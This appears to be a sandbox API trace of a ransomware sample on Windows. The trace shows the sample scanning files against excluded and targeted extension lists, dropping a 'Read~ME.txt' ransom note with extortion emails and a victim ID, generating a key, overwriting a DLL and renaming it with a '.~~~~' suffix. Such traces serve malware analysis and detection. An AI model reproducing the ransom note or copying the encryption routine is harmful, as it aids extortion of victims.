	[0082.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpSrch=".sys") returned 0x0
	[0082.750] lstrlenW (lpString=".msc") returned 4
	[0082.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpSrch=".msc") returned 0x0
	[0082.750] lstrlenW (lpString=".com") returned 4
	[0082.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpSrch=".com") returned 0x0
	[0082.750] lstrlenW (lpString=".lnk") returned 4
	[0082.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpSrch=".lnk") returned 0x0
	[0082.750] lstrlenW (lpString=".msp") returned 4
	[0082.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpSrch=".msp") returned 0x0
	[0082.751] lstrlenW (lpString=".pif") returned 4
	[0082.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpSrch=".pif") returned 0x0
	[0082.751] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.751] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif", lpSrch="msp\r\n.pif") returned 0x0
	[0082.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4df0 | out: hHeap=0x300000) returned 1
	[0082.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4f60 | out: hHeap=0x300000) returned 1
	[0082.775] RtlWakeConditionVariable () returned 0x365f70
	[0082.775] GetCurrentThreadId () returned 0x3a4
	[0082.775] GetCurrentThreadId () returned 0x3a4
	[0082.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e730
	[0082.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807568 | out: hHeap=0x300000) returned 1
	[0082.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e60 | out: hHeap=0x300000) returned 1
	[0082.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807568
	[0082.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0082.776] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0082.776] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0082.778] CloseHandle (hObject=0x11c) returned 1
	[0082.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807568 | out: hHeap=0x300000) returned 1
	[0082.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e730 | out: hHeap=0x300000) returned 1
	[0082.778] RtlWakeConditionVariable () returned 0x365f70
	[0082.778] GetCurrentThreadId () returned 0x3a4
	[0082.778] GetCurrentThreadId () returned 0x3a4
	[0082.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e730
	[0082.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807610 | out: hHeap=0x300000) returned 1
	[0082.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e98 | out: hHeap=0x300000) returned 1
	[0082.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807610
	[0082.778] lstrlenW (lpString=".scr") returned 4
	[0082.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".scr") returned 0x0
	[0082.778] lstrlenW (lpString=".cmd") returned 4
	[0082.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".cmd") returned 0x0
	[0082.778] lstrlenW (lpString=".dll") returned 4
	[0082.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".dll") returned 0x0
	[0082.778] lstrlenW (lpString=".bat") returned 4
	[0082.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".bat") returned 0x0
	[0082.779] lstrlenW (lpString=".cpl") returned 4
	[0082.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".cpl") returned 0x0
	[0082.779] lstrlenW (lpString=".sys") returned 4
	[0082.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".sys") returned 0x0
	[0082.779] lstrlenW (lpString=".msc") returned 4
	[0082.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".msc") returned 0x0
	[0082.779] lstrlenW (lpString=".com") returned 4
	[0082.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".com") returned 0x0
	[0082.779] lstrlenW (lpString=".lnk") returned 4
	[0082.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".lnk") returned 0x0
	[0082.779] lstrlenW (lpString=".msp") returned 4
	[0082.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".msp") returned 0x0
	[0082.779] lstrlenW (lpString=".pif") returned 4
	[0082.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".pif") returned 0x0
	[0082.779] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0082.780] lstrlenW (lpString=".sqb") returned 4
	[0082.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".sqb") returned 0x0
	[0082.780] lstrlenW (lpString=".ost") returned 4
	[0082.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".ost") returned 0x0
	[0082.780] lstrlenW (lpString=".txt") returned 4
	[0082.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".txt") returned 0x0
	[0082.780] lstrlenW (lpString=".mdt") returned 4
	[0082.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".mdt") returned 0x0
	[0082.780] lstrlenW (lpString=".BDB") returned 4
	[0082.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".BDB") returned 0x0
	[0082.780] lstrlenW (lpString=".eql") returned 4
	[0082.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".eql") returned 0x0
	[0082.780] lstrlenW (lpString=".DBF") returned 4
	[0082.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".DBF") returned 0x0
	[0082.780] lstrlenW (lpString=".EQL") returned 4
	[0082.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".EQL") returned 0x0
	[0082.780] lstrlenW (lpString=".FDB") returned 4
	[0082.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".FDB") returned 0x0
	[0082.780] lstrlenW (lpString=".EDB") returned 4
	[0082.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".EDB") returned 0x0
	[0082.781] lstrlenW (lpString=".DACPAC") returned 7
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".DACPAC") returned 0x0
	[0082.781] lstrlenW (lpString=".VHD") returned 4
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".VHD") returned 0x0
	[0082.781] lstrlenW (lpString=".DBV") returned 4
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".DBV") returned 0x0
	[0082.781] lstrlenW (lpString=".dacpac") returned 7
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".dacpac") returned 0x0
	[0082.781] lstrlenW (lpString=".sdf") returned 4
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".sdf") returned 0x0
	[0082.781] lstrlenW (lpString=".accdb") returned 6
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".accdb") returned 0x0
	[0082.781] lstrlenW (lpString=".DBX") returned 4
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".DBX") returned 0x0
	[0082.781] lstrlenW (lpString=".MDT") returned 4
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".MDT") returned 0x0
	[0082.781] lstrlenW (lpString=".SQB") returned 4
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".SQB") returned 0x0
	[0082.781] lstrlenW (lpString=".vhd") returned 4
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".vhd") returned 0x0
	[0082.781] lstrlenW (lpString=".bac") returned 4
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".bac") returned 0x0
	[0082.781] lstrlenW (lpString=".mdf") returned 4
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".mdf") returned 0x0
	[0082.781] lstrlenW (lpString=".BAK") returned 4
	[0082.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".BAK") returned 0x0
	[0082.782] lstrlenW (lpString=".BAC") returned 4
	[0082.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".BAC") returned 0x0
	[0082.782] lstrlenW (lpString=".dbs") returned 4
	[0082.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".dbs") returned 0x0
	[0082.782] lstrlenW (lpString=".vhdx") returned 5
	[0082.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".vhdx") returned 0x0
	[0082.782] lstrlenW (lpString=".NDF") returned 4
	[0082.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".NDF") returned 0x0
	[0082.782] lstrlenW (lpString=".dat") returned 4
	[0082.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".dat") returned 0x0
	[0082.782] lstrlenW (lpString=".DBS") returned 4
	[0082.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".DBS") returned 0x0
	[0082.782] lstrlenW (lpString=".CKP") returned 4
	[0082.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".CKP") returned 0x0
	[0082.782] lstrlenW (lpString=".edb") returned 4
	[0082.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".edb") returned 0x0
	[0082.782] lstrlenW (lpString=".PST") returned 4
	[0082.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".PST") returned 0x0
	[0082.782] lstrlenW (lpString=".dbf") returned 4
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".dbf") returned 0x0
	[0082.783] lstrlenW (lpString=".SQL") returned 4
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".SQL") returned 0x0
	[0082.783] lstrlenW (lpString=".pst") returned 4
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".pst") returned 0x0
	[0082.783] lstrlenW (lpString=".dbv") returned 4
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".dbv") returned 0x0
	[0082.783] lstrlenW (lpString=".SDF") returned 4
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".SDF") returned 0x0
	[0082.783] lstrlenW (lpString=".dtxs") returned 5
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".dtxs") returned 0x0
	[0082.783] lstrlenW (lpString=".db3") returned 4
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".db3") returned 0x0
	[0082.783] lstrlenW (lpString=".OST") returned 4
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".OST") returned 0x0
	[0082.783] lstrlenW (lpString=".dbx") returned 4
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".dbx") returned 0x0
	[0082.783] lstrlenW (lpString=".DB3") returned 4
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".DB3") returned 0x0
	[0082.783] lstrlenW (lpString=".DAT") returned 4
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".DAT") returned 0x0
	[0082.783] lstrlenW (lpString=".VHDX") returned 5
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".VHDX") returned 0x0
	[0082.783] lstrlenW (lpString=".ndf") returned 4
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".ndf") returned 0x0
	[0082.783] lstrlenW (lpString=".DB") returned 3
	[0082.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".DB") returned 0x0
	[0082.784] lstrlenW (lpString=".sql") returned 4
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".sql") returned 0x0
	[0082.784] lstrlenW (lpString=".MYD") returned 4
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".MYD") returned 0x0
	[0082.784] lstrlenW (lpString=".DBT") returned 4
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".DBT") returned 0x0
	[0082.784] lstrlenW (lpString=".ACCDB") returned 6
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".ACCDB") returned 0x0
	[0082.784] lstrlenW (lpString=".fdb") returned 4
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".fdb") returned 0x0
	[0082.784] lstrlenW (lpString=".bak") returned 4
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".bak") returned 0x0
	[0082.784] lstrlenW (lpString=".myd") returned 4
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".myd") returned 0x0
	[0082.784] lstrlenW (lpString=".DTXS") returned 5
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".DTXS") returned 0x0
	[0082.784] lstrlenW (lpString=".ckp") returned 4
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".ckp") returned 0x0
	[0082.784] lstrlenW (lpString=".dbt") returned 4
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".dbt") returned 0x0
	[0082.784] lstrlenW (lpString=".db") returned 3
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".db") returned 0x0
	[0082.784] lstrlenW (lpString=".TXT") returned 4
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".TXT") returned 0x0
	[0082.784] lstrlenW (lpString=".MDF") returned 4
	[0082.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".MDF") returned 0x0
	[0082.785] lstrlenW (lpString=".bdb") returned 4
	[0082.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".bdb") returned 0x0
	[0082.785] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.785] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0082.786] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.786] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0082.786] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20277639023) returned 1
	[0082.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b305cb0, dwHighDateTime=0x1d60e1e)) 
	[0082.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1e98
	[0082.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e98 | out: hHeap=0x300000) returned 1
	[0082.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807568
	[0082.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0082.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807568 | out: hHeap=0x300000) returned 1
	[0082.787] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0082.787] GetLastError () returned 0x0
	[0082.787] GetLastError () returned 0x0
	[0082.787] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0082.787] GetLastError () returned 0x0
	[0082.788] GetLastError () returned 0x0
	[0082.792] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.792] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.794] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.794] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.794] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.794] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.794] CloseHandle (hObject=0x11c) returned 1
	[0082.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807568
	[0082.794] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll.~~~~")) returned 1
	[0082.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807568 | out: hHeap=0x300000) returned 1
	[0082.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.797] GetLastError () returned 0x0
	[0082.797] RtlWakeConditionVariable () returned 0x365f70
	[0082.797] GetCurrentThreadId () returned 0x3a4
	[0082.797] GetCurrentThreadId () returned 0x3a4
	[0082.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e730
	[0082.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28076b8 | out: hHeap=0x300000) returned 1
	[0082.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1ed0 | out: hHeap=0x300000) returned 1
	[0082.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28076b8
	[0082.798] lstrlenW (lpString=".scr") returned 4
	[0082.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".scr") returned 0x0
	[0082.798] lstrlenW (lpString=".cmd") returned 4
	[0082.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpSrch=".cmd") returned 0x0
	[0082.798] lstrlenW (lpString=".dll") returned 4
